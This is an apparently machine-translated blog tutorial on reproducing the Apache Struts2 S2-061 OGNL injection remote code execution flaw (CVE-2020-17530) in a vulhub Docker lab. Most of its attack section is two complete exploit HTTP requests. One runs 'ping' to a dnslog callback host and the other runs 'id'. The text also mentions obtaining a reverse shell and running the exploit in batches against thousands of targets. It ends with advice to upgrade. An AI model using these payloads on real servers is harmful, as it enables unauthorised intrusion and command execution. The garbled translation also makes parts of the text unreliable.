How to reproduce Struts2 S2-061 remote command execution vulnerability CVE-2020-17530
How to reproduce Struts2 S2-061remote command execution vulnerability CVE-2020-17530, I believe many inexperienced people don't know what to do about it. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.
Recurrence of remote Command execution vulnerability in Struts2 S2-061
I. brief introduction of loopholes
Apache Struts2 framework is a Web framework for developing Java EE network applications. Apache Struts disclosed the S2-061 Struts remote code execution vulnerability (CVE-2020-17530) on December 8, 2020. There may be OGNL expression injection vulnerabilities in situations such as the use of some tag, resulting in remote code execution with great risk.
Second, influence the version
Apache Struts 2.0.0-2.5.25
III. Recurrence of loopholes
Docker environment address:
Project address:
Https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
Pull the image startup environment:
Docker-compose up-d
Access destination address:
Http://192.168.1.107:8080/
Perform DNSlog authentication vulnerabilities:
POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: * / * Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 846-WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data Name= "id"% {(# instancemanager=#application ["org.apache.tomcat.InstanceManager"]). (# stack=#attr ["com.opensymphony.xwork2.util.ValueStack.ValueStack"]). (# bean=#instancemanager.newInstance ("org.apache.commons.collections.BeanMap")). (# bean.setBean (# stack)). (# context=#bean.get ("context")). (# bean.setBean (# context)). (# macc=#bean.get ("memberAccess")) Bean.setBean (# macc). (# emptyset=#instancemanager.newInstance ("java.util.HashSet")). (# bean.put ("excludedClasses") # emptyset)). (# bean.put ("excludedPackageNames", # emptyset)). (# arglist=#instancemanager.newInstance ("java.util.ArrayList")). (# arglist.add ("ping p0fai2.dnslog.cn")). (# execute=#instancemanager.newInstance ("freemarker.template.utility.Execute")). (# execute.exec (# arglist))}-WebKitFormBoundaryl7d1B1aGsV2wcZwF--
DNGlog record
Access grab package, execute exp command, execute id
POST/index.actionHTTP/1.1Host: 192.168.1.107:8080Accept-Encoding: gzip, deflateAccept: * / * Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Length: 827-WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data Name= "id"% {(# instancemanager=#application ["org.apache.tomcat.InstanceManager"]). (# stack=#attr ["com.opensymphony.xwork2.util.ValueStack.ValueStack"]). (# bean=#instancemanager.newInstance ("org.apache.commons.collections.BeanMap")). (# bean.setBean (# stack)). (# context=#bean.get ("context")). (# bean.setBean (# context)). (# macc=#bean.get ("memberAccess")) Bean.setBean (# macc). (# emptyset=#instancemanager.newInstance ("java.util.HashSet")). (# bean.put ("excludedClasses") # emptyset)). (# bean.put ("excludedPackageNames", # emptyset)). (# arglist=#instancemanager.newInstance ("java.util.ArrayList")). (# arglist.add ("id")). (# execute=#instancemanager.newInstance ("freemarker.template.utility.Execute")). (# execute.exec (# arglist))}-WebKitFormBoundaryl7d1B1aGsV2wcZwF--
Simple python script verification execution:
You can also successfully perform a rebound shell to get:
Run thousands of successful ones in batches: (maybe the default index has the wrong path) and study it later.
IV. Safety recommendations
Upgrade the Apache Struts framework to the latest version.
After reading the above, do you know how to reproduce the Struts2 S2-061 remote command execution vulnerability CVE-2020-17530? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!
